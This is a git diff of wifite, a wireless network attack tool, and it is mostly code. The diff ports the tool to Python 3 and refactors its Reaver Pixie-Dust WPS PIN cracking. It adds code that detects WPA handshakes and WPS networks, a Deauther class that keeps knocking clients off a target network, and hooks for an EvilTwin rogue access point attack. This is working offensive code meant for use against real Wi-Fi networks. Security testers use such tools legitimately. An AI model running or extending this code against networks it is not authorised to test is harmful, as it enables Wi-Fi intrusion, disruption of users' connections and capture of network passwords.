- (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin is not None: - # We cracked it. - bssid = self.target.bssid - Color.clear_entire_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") - return False - - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break - - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - step = '({C}step -/8{W}) waiting for AP rate limit' - - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 + self.pattack('{R}Failed {O}to get PSK using bully', newline=True) else: - time_since_last_step += 1 - - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break - - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break - - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break - - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", step) - - time.sleep(1) - continue - - # Attack failed, already printed reason why - reaver.interrupt() - stdout_write.close() - return False + self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) + + crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + crack_result.dump() + return crack_result + + return None + + + def parse_failure(self, stdout): + # Total failure + if 'WPS pin not found' in stdout: + raise Exception('Reaver says "WPS pin not found"') + + # Running-time failure + if self.running_time() > Configuration.wps_pixie_timeout: + raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) + + # WPSFail count + self.total_wpsfails = stdout.count('WPS transaction failed') + if self.total_wpsfails >= Configuration.wps_fail_threshold: + raise Exception('Too many failures (%d)' % self.total_wpsfails) + + # Timeout count + self.total_timeouts = stdout.count('Receive timeout occurred') + if self.total_timeouts >= Configuration.wps_timeout_threshold: + raise Exception('Too many timeouts (%d)' % self.total_timeouts) + + + def parse_state(self, stdout): + state = self.state + + stdout_last_line = stdout.split('\n')[-1] + + if 'Waiting for beacon from' in stdout_last_line: + state = 'Waiting for beacon' + + elif 'Associated with' in stdout_last_line: + state = 'Associated' + + elif 'Starting Cracking Session.' in stdout_last_line: + state = 'Waiting to try PIN' + + elif 'Trying pin' in stdout_last_line: + state = 'Trying PIN' + + elif 'Sending EAPOL START request' in stdout_last_line: + state = 'Sending EAPOL Start request' + + elif 'Sending identity response' in stdout_last_line: + state = 'Sending identity response' + self.locked = False + + elif 'Sending M2 message' in stdout_last_line: + state = 'Sending M2 / Running pixiewps' + self.locked = False + + elif 'Detected AP rate limiting,' in stdout_last_line: + state = 'Rate-Limited by AP' + self.locked = True + + return state + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + + + def running_time(self): + return int(time.time() - self.start_time) + @staticmethod def get_pin_psk_ssid(stdout): @@ -189,12 +275,21 @@ def get_pin_psk_ssid(stdout): return (pin, psk, ssid) - def get_stdout(self): - ''' Gets output from stdout_file ''' - if not self.stdout_file: + + def get_output(self): + ''' Gets output from reaver's output file ''' + if not self.output_filename: return '' - with open(self.stdout_file, 'r') as fid: + + if self.output_write: + self.output_write.flush() + + with open(self.output_filename, 'r') as fid: stdout = fid.read() + + if Configuration.verbose > 1: + Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n'))) + return stdout.strip() @@ -258,7 +353,7 @@ def get_stdout(self): result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() - print "" + print("") (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index 36a0d0fff..29dc37076 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -1,15 +1,153 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process import re -class Tshark(object): +class Tshark(Dependency): ''' Wrapper for Tshark program. ''' + dependency_required = False + dependency_name = 'tshark' + dependency_url = 'apt-get install wireshark' def __init__(self): pass + @staticmethod + def exists(): + return Process.exists('tshark') + + @staticmethod + def _extract_src_dst_index_total(line): + # Extract BSSIDs, handshake # (1-4) and handshake "total" (4) + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line) + if match is None: + # Line doesn't contain src, dst, Message numbers + return None, None, None, None + (src, dst, index, total) = match.groups() + return src, dst, index, total + + @staticmethod + def _build_target_client_handshake_map(output, bssid=None): + # Map of target_ssid,client_ssid -> handshake #s + # E.g. 12:34:56,21:43:65 -> 3 + target_client_msg_nums = {} + + for line in output.split('\n'): + src, dst, index, total = Tshark._extract_src_dst_index_total(line) + + if src is None: continue # Skip + + index = int(index) + total = int(total) + + if total != 4: continue # Handshake X of 5? X of 3? Skip it. + + # Identify the client and target MAC addresses + if index % 2 == 1: + # First and Third messages + target = src + client = dst + else: + # Second and Fourth messages + client = src + target = dst + + if bssid is not None and bssid.lower() != target.lower(): + # We know the BSSID and this msg was not for the target + continue + + target_client_key = '%s,%s' % (target, client) + + # Ensure all 4 messages are: + # Between the same client and target (not different clients connecting). + # In numeric & chronological order (Message 1, then 2, then 3, then 4) + if index == 1: + target_client_msg_nums[target_client_key] = 1 # First message + + elif target_client_key not in target_client_msg_nums: + continue # Not first message. We haven't gotten the first message yet. Skip. + + elif index - 1 != target_client_msg_nums[target_client_key]: + continue # Message is not in sequence. Skip + + else: + # Happy case: Message is > 1 and is received in-order + target_client_msg_nums[target_client_key] = index + + return target_client_msg_nums + + + @staticmethod + def bssids_with_handshakes(capfile, bssid=None): + if not Tshark.exists(): + return [] + + # Returns list of BSSIDs for which we have valid handshakes in the capfile. + command = [ + 'tshark', + '-r', capfile, + '-n', # Don't resolve addresses + '-Y', 'eapol' # Filter for only handshakes + ] + tshark = Process(command, devnull=False) + + target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid) + + bssids = set() + # Check if we have all 4 messages for the handshake between the same MACs + for (target_client, num) in target_client_msg_nums.items(): + if num == 4: + # We got a handshake! + this_bssid = target_client.split(',')[0] + bssids.add(this_bssid) + + return list(bssids) + + + @staticmethod + def bssid_essid_pairs(capfile, bssid): + # Finds all BSSIDs (with corresponding ESSIDs) from cap file. + # Returns list of tuples(BSSID, ESSID) + + if not Tshark.exists(): + return [] + + ssid_pairs = set() + + command = [ + 'tshark', + '-r', capfile, # Path to cap file + '-n', # Don't resolve addresses + # Extract beacon frames + '-Y', '"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05"', + ] + tshark = Process(command, devnull=False) + + for line in tshark.stdout().split('\n'): + # Extract src, dst, and essid + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line) + if match is None: + continue # Line doesn't contain src, dst, ssid + + (src, dst, essid) = match.groups() + + if dst.lower() == "ff:ff:ff:ff:ff:ff": + continue # Skip broadcast packets + + if bssid is not None: + # We know the BSSID, only return the ESSID for this BSSID. + if bssid.lower() == src.lower(): + ssid_pairs.add((src, essid)) # This is our BSSID, add it + else: + ssid_pairs.add((src, essid)) # We do not know BSSID, add it. + + return list(ssid_pairs) + + @staticmethod def check_for_wps_and_update_targets(capfile, targets): ''' @@ -21,9 +159,9 @@ def check_for_wps_and_update_targets(capfile, targets): capfile - .cap file from airodump containing packets targets - list of Targets from scan, to be updated ''' - # Tshark is required to detect WPS networks - if not Process.exists('tshark'): - return + + if not Tshark.exists(): + raise Exception('Cannot detect WPS networks: Tshark does not exist') command = [ 'tshark', @@ -38,7 +176,6 @@ def check_for_wps_and_update_targets(capfile, targets): ] p = Process(command) - try: p.wait() lines = p.stdout() @@ -63,6 +200,7 @@ def check_for_wps_and_update_targets(capfile, targets): test_file = './tests/files/contains_wps_network.cap' target_bssid = 'A4:2B:8C:16:6B:3A' + ''' from ..model.target import Target fields = [ 'A4:2B:8C:16:6B:3A', # BSSID @@ -79,6 +217,8 @@ def check_for_wps_and_update_targets(capfile, targets): # Should update 'wps' field of a target Tshark.check_for_wps_and_update_targets(test_file, targets) - print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps) + print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) assert targets[0].wps == True + ''' + print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) diff --git a/wifite/tools/wash.py b/wifite/tools/wash.py new file mode 100755 index 000000000..274a4560f --- /dev/null +++ b/wifite/tools/wash.py @@ -0,0 +1,79 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from .dependency import Dependency +from ..util.process import Process +import json + +class Wash(Dependency): + ''' Wrapper for Wash program. ''' + dependency_required = False + dependency_name = 'wash' + dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' + + def __init__(self): + pass + + @staticmethod + def exists(): + return Process.exists('wash') + + @staticmethod + def check_for_wps_and_update_targets(capfile, targets): + if not Wash.exists(): + return + + command = [ + 'wash', + '-f', capfile, + '-j' # json + ] + + p = Process(command) + try: + p.wait() + lines = p.stdout() + except: + # Failure is acceptable + return + + # Find all BSSIDs + bssids = set() + for line in lines.split('\n'): + try: + obj = json.loads(line) + bssid = obj['bssid'] + locked = obj['wps_locked'] + if locked != True: + bssids.add(bssid) + except: + pass + + # Update targets + for t in targets: + t.wps = t.bssid.upper() in bssids + +if __name__ == '__main__': + test_file = './tests/files/contains_wps_network.cap' + + target_bssid = 'A4:2B:8C:16:6B:3A' + from ..model.target import Target + fields = [ + 'A4:2B:8C:16:6B:3A', # BSSID + '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates + '11', # Channel + '54', # throughput + 'WPA2', 'CCMP TKIP', 'PSK', # AUTH + '-58', '2', '0', '0.0.0.0', '9', # ??? + 'Test Router Please Ignore', # SSID + ] + t = Target(fields) + targets = [t] + + # Should update 'wps' field of a target + Wash.check_for_wps_and_update_targets(test_file, targets) + + print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) + + assert targets[0].wps == True + diff --git a/wifite/util/__init__.py b/wifite/util/__init__.py old mode 100644 new mode 100755 diff --git a/wifite/util/color.py b/wifite/util/color.py index 20abbd502..3fa80903e 100755 --- a/wifite/util/color.py +++ b/wifite/util/color.py @@ -21,7 +21,7 @@ class Color(object): # Helper string replacements replacements = { - '{+}': ' {W}[{G}+{W}]', + '{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}', '{!}': ' {O}[{R}!{O}]{W}', '{?}': ' {W}[{C}?{W}]' } @@ -31,9 +31,9 @@ class Color(object): @staticmethod def p(text): ''' - Prints text using colored format on same line. - Example: - Color.p("{R}This text is red. {W} This text is white") + Prints text using colored format on same line. + Example: + Color.p("{R}This text is red. {W} This text is white") ''' sys.stdout.write(Color.s(text)) sys.stdout.flush() @@ -45,17 +45,13 @@ def p(text): @staticmethod def pl(text): - ''' - Prints text using colored format with trailing new line. - ''' + '''Prints text using colored format with trailing new line.''' Color.p('%s\n' % text) Color.last_sameline_length = 0 @staticmethod def pe(text): - ''' - Prints text using colored format with leading and trailing new line to STDERR. - ''' + '''Prints text using colored format with leading and trailing new line to STDERR.''' sys.stderr.write(Color.s('%s\n' % text)) Color.last_sameline_length = 0 @@ -63,9 +59,9 @@ def pe(text): def s(text): ''' Returns colored string ''' output = text - for (key,value) in Color.replacements.iteritems(): + for (key,value) in Color.replacements.items(): output = output.replace(key, value) - for (key,value) in Color.colors.iteritems(): + for (key,value) in Color.colors.items(): output = output.replace("{%s}" % key, value) return output @@ -85,18 +81,18 @@ def clear_entire_line(): @staticmethod def pattack(attack_type, target, attack_name, progress): ''' - Prints a one-liner for an attack - Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress - [name] ESSID (MAC @ Pwr) Attack_Type: Progress - e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs + Prints a one-liner for an attack. + Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress. + ESSID (Pwr) Attack_Type: Progress + e.g.: Router2G (23db) WEP replay attack: 102 IVs ''' essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}" - Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % ( - essid, target.bssid, target.power, attack_type, attack_name, progress)) + Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % ( + essid, target.power, attack_type, attack_name, progress)) if __name__ == '__main__': Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") - print Color.s("{C}Testing{P}String{W}") + print(Color.s("{C}Testing{P}String{W}")) Color.pl("{+} Good line") Color.pl("{!} Danger") diff --git a/wifite/util/crack.py b/wifite/util/crack.py index b0c1d6f23..f77b3d3a4 100755 --- a/wifite/util/crack.py +++ b/wifite/util/crack.py @@ -3,6 +3,7 @@ from ..util.process import Process from ..util.color import Color +from ..util.input import raw_input from ..config import Configuration from ..model.result import CrackResult diff --git a/wifite/util/deauther.py b/wifite/util/deauther.py new file mode 100644 index 000000000..a8bdc49f5 --- /dev/null +++ b/wifite/util/deauther.py @@ -0,0 +1,56 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import time + +from ..tools.aireplay import Aireplay +from ..tools.ifconfig import Ifconfig + +class Deauther(object): + ''' + Deauthenticates clients associated with a target. + For use with EvilTwin. + ''' + + def __init__(self, interface, target): + self.interface = interface + self.interface_mac = Ifconfig.get_mac(interface) + self.target = target + self.running = False + self.clients = set() + + + def update_target(self, target): + # Refresh target (including list of clients) + self.target = target + + + def update_clients(self): + # Refreshes list of clients connected to target + for client in self.target.clients: + bssid = client.station + if bssid.lower() == self.interface_mac: + continue # Ignore this interface + elif bssid not in self.clients: + self.clients.add(bssid) + + + def start(self): + self.running = True + + while self.running: + # Refresh list of clients + self.update_clients() + + # Deauth clients + bssid = self.target.bssid + essid = self.target.essid if self.target.essid_known else None + for client_mac in clients: + Aireplay.deauth(bssid, essid=essid, client_mac=client_mac) + + time.sleep(1) + + + def stop(self): + self.running = False + diff --git a/wifite/util/input.py b/wifite/util/input.py new file mode 100755 index 000000000..09d0916f1 --- /dev/null +++ b/wifite/util/input.py @@ -0,0 +1,17 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +# Fix for raw_input on python3: https://stackoverflow.com/a/7321970 +try: + input = raw_input +except NameError: + pass + +raw_input = input + +try: + range = xrange +except NameError: + pass + +xrange = range diff --git a/wifite/util/process.py b/wifite/util/process.py index 76c22cc56..33f2a7f3f 100755 --- a/wifite/util/process.py +++ b/wifite/util/process.py @@ -2,6 +2,9 @@ # -*- coding: utf-8 -*- import time +import signal +import os + from subprocess import Popen, PIPE from ..util.color import Color @@ -36,9 +39,14 @@ def call(command, cwd=None, shell=False): pid.wait() (stdout, stderr) = pid.communicate() - if Configuration.verbose > 1 and stdout.strip() != '': + # Python 3 compatibility + if type(stdout) is bytes: stdout = stdout.decode('utf-8') + if type(stderr) is bytes: stderr = stderr.decode('utf-8') + + + if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n'))) - if Configuration.verbose > 1 and stderr.strip() != '': + if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.strip().split('\n'))) return (stdout, stderr) @@ -91,14 +99,14 @@ def __del__(self): def stdout(self): ''' Waits for process to finish, returns stdout output ''' self.get_output() - if Configuration.verbose > 1 and self.out.strip() != '': + if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.strip().split('\n'))) return self.out def stderr(self): ''' Waits for process to finish, returns stderr output ''' self.get_output() - if Configuration.verbose > 1 and self.err.strip() != '': + if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.strip().split('\n'))) return self.err @@ -114,6 +122,13 @@ def get_output(self): self.pid.wait() if self.out is None: (self.out, self.err) = self.pid.communicate() + + if type(self.out) is bytes: + self.out = self.out.decode('utf-8') + + if type(self.err) is bytes: + self.err = self.err.decode('utf-8') + return (self.out, self.err) def poll(self): @@ -127,31 +142,35 @@ def running_time(self): ''' Returns number of seconds since process was started ''' return int(time.time() - self.start_time) - def interrupt(self): + def interrupt(self, wait_time=2.0): ''' Send interrupt to current process. - If process fails to exit within 1 second, terminates it. + If process fails to exit within `wait_time` seconds, terminates it. ''' - from signal import SIGINT, SIGTERM - from os import kill - from time import sleep try: pid = self.pid.pid - kill(pid, SIGINT) + cmd = self.command + if type(cmd) is list: + cmd = ' '.join(cmd) + + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd)) + + os.kill(pid, signal.SIGINT) - wait_time = 0 # Time since Interrupt was sent + start_time = time.time() # Time since Interrupt was sent while self.pid.poll() is None: # Process is still running - wait_time += 0.1 - sleep(0.1) - if wait_time > 1: - # We waited over 1 second for process to die - # Terminate it and move on - kill(pid, SIGTERM) + time.sleep(0.1) + if time.time() - start_time > wait_time: + # We waited too long for process to die, terminate it. + if Configuration.verbose > 1: + Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time) + os.kill(pid, signal.SIGTERM) self.pid.terminate() break - except OSError, e: + except OSError as e: if 'No such process' in e.__str__(): return raise e # process cannot be killed @@ -159,20 +178,20 @@ def interrupt(self): if __name__ == '__main__': p = Process('ls') - print p.stdout(), p.stderr() + print(p.stdout(), p.stderr()) p.interrupt() # Calling as list of arguments (out, err) = Process.call(['ls', '-lah']) - print out, err + print(out, err) - print '\n---------------------\n' + print('\n---------------------\n') # Calling as string (out, err) = Process.call('ls -l | head -2') - print out, err + print(out, err) - print '"reaver" exists:', Process.exists('reaver') + print('"reaver" exists:', Process.exists('reaver')) # Test on never-ending process p = Process('yes') diff --git a/wifite/util/scanner.py b/wifite/util/scanner.py index 7942a4c65..ae45049a7 100755 --- a/wifite/util/scanner.py +++ b/wifite/util/scanner.py @@ -3,6 +3,7 @@ from ..tools.airodump import Airodump from ..util.color import Color +from ..util.input import raw_input, xrange from ..model.target import Target from ..config import Configuration @@ -40,13 +41,17 @@ def __init__(self): try: self.targets = airodump.get_targets() - except Exception, e: + except Exception as e: break if self.found_target(): # We found the target we want return + for target in self.targets: + if target.bssid in airodump.decloaked_bssids: + target.decloaked = True + self.print_targets() target_count = len(self.targets) @@ -60,11 +65,6 @@ def __init__(self): outline += " {G}%d{W} target(s)," % target_count outline += " {G}%d{W} client(s)." % client_count outline += " {O}Ctrl+C{W} when ready " - decloaked = airodump.decloaked_targets - if len(decloaked) > 0: - outline += "(decloaked" - outline += " {C}%d{W} ESSIDs:" % len(decloaked) - outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked]) Color.clear_entire_line() Color.p(outline) @@ -198,7 +198,8 @@ def select_targets(self): chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): - if choice == 'all': + choice = choice.strip() + if choice.lower() == 'all': chosen_targets = self.targets break if '-' in choice: @@ -219,7 +220,7 @@ def select_targets(self): try: s = Scanner() targets = s.select_targets() - except Exception, e: + except Exception as e: Color.pl('\r {!} {R}Error{W}: %s' % str(e)) Configuration.exit_gracefully(0) for t in targets: diff --git a/wifite/util/timer.py b/wifite/util/timer.py index 121d7e00f..4f57854b5 100755 --- a/wifite/util/timer.py +++ b/wifite/util/timer.py @@ -24,6 +24,9 @@ def __str__(self): @staticmethod def secs_to_str(seconds): '''Human-readable seconds. 193 -> 3m13s''' + if seconds < 0: + return '-%ds' % seconds + rem = int(seconds) hours = rem / 3600 mins = (rem % 3600) / 60 diff --git a/wifite/wifite.py b/wifite/wifite.py index 196ef8f4e..c8eb37e08 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -1,20 +1,22 @@ -#!/usr/bin/python2.7 +#!/usr/bin/python3.7 # -*- coding: utf-8 -*- try: - from config import Configuration + from .config import Configuration except (ValueError, ImportError) as e: - raise Exception('You may need to run wifite from the root directory (which includes README.md)') - -from util.scanner import Scanner -from util.process import Process -from util.color import Color -from util.crack import CrackHandshake -from attack.wep import AttackWEP -from attack.wpa import AttackWPA -from attack.wps import AttackWPS -from model.result import CrackResult -from model.handshake import Handshake + raise Exception('You may need to run wifite from the root directory (which includes README.md)', e) + +from .util.scanner import Scanner +from .util.process import Process +from .util.color import Color +from .util.crack import CrackHandshake +from .util.input import raw_input +from .attack.wep import AttackWEP +from .attack.wpa import AttackWPA +from .attack.wps import AttackWPS +from .attack.eviltwin import EvilTwinAttack +from .model.result import CrackResult +from .model.handshake import Handshake import json import os @@ -30,45 +32,67 @@ def main(self): Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') Configuration.exit_gracefully(0) - self.dependency_check() - Configuration.initialize(load_interface=False) + self.dependency_check() + if Configuration.show_cracked: self.display_cracked() elif Configuration.check_handshake: self.check_handshake(Configuration.check_handshake) + elif Configuration.crack_handshake: CrackHandshake() + else: - Configuration.get_interface() + Configuration.get_monitor_mode_interface() self.run() + def dependency_check(self): ''' Check that required programs are installed ''' - required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng', 'tshark'] - optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger'] - missing_required = False - missing_optional = False - - for app in required_apps: - if not Process.exists(app): - missing_required = True - Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app) - - for app in optional_apps: - if not Process.exists(app): - missing_optional = True - Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app) + from .tools.airmon import Airmon + from .tools.airodump import Airodump + from .tools.aircrack import Aircrack + from .tools.aireplay import Aireplay + from .tools.ifconfig import Ifconfig + from .tools.iwconfig import Iwconfig + from .tools.hostapd import Hostapd + from .tools.dnsmasq import Dnsmasq + from .tools.iptables import Iptables + from .tools.bully import Bully + from .tools.reaver import Reaver + from .tools.wash import Wash + from .tools.pyrit import Pyrit + from .tools.tshark import Tshark + from .tools.macchanger import Macchanger + + apps = [ + # Aircrack + Airmon, Airodump, Aircrack, Aireplay, + # wireless/net tools + Iwconfig, Ifconfig, + # WPS + Reaver, Bully, + # Cracking/handshakes + Pyrit, Tshark, + # Misc + Macchanger + ] + + if Configuration.use_eviltwin: + apps.extend([Hostapd, Dnsmasq, Iptables]) + + missing_required = any([app.fails_dependency_check() for app in apps]) if missing_required: Color.pl('{!} {R}required app(s) were not found, exiting.{W}') sys.exit(-1) - if missing_optional: - Color.pl('{!} {O}recommended app(s) were not found') - Color.pl('{!} {O}wifite may not work as expected{W}') + #if missing_optional: + # Color.pl('{!} {O}recommended app(s) were not found') + # Color.pl('{!} {O}wifite may not work as expected{W}') def display_cracked(self): ''' Show cracked targets from cracked.txt ''' @@ -95,7 +119,7 @@ def check_handshake(self, capfile): Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') try: capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] - except OSError, e: + except OSError as e: capfiles = [] if len(capfiles) == 0: Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') @@ -124,6 +148,10 @@ def run(self): else: targets = s.select_targets() + if Configuration.use_eviltwin: + # Ask user to select interface if needed + Configuration.get_eviltwin_interface() + attacked_targets = 0 targets_remaining = len(targets) for idx, t in enumerate(targets, start=1): @@ -133,9 +161,17 @@ def run(self): Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) + ' starting attacks against {C}%s{W} ({C}%s{W})' % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown")) - if 'WEP' in t.encryption: + + # TODO: Check if Eviltwin attack is selected. + + if Configuration.use_eviltwin: + attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface) + + elif 'WEP' in t.encryption: attack = AttackWEP(t) + elif 'WPA' in t.encryption: + # TODO: Move WPS+WPA decision to a combined attack if t.wps: attack = AttackWPS(t) result = False @@ -148,8 +184,8 @@ def run(self): from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) except KeyboardInterrupt: @@ -173,15 +209,15 @@ def run(self): try: attack.run() - except Exception, e: + except Exception as e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) if Configuration.verbose > 0 or True: Color.pl('\n{!} {O}Full stack trace below') from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) except KeyboardInterrupt: @@ -234,7 +270,7 @@ def run(): try: w.main() - except Exception, e: + except Exception as e: Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) if Configuration.verbose > 0 or True: @@ -242,8 +278,8 @@ def run(): from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') + err = err.replace('\n', '\n{W}{!} {W} ') + err = err.replace(' File', '{W}{D}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err)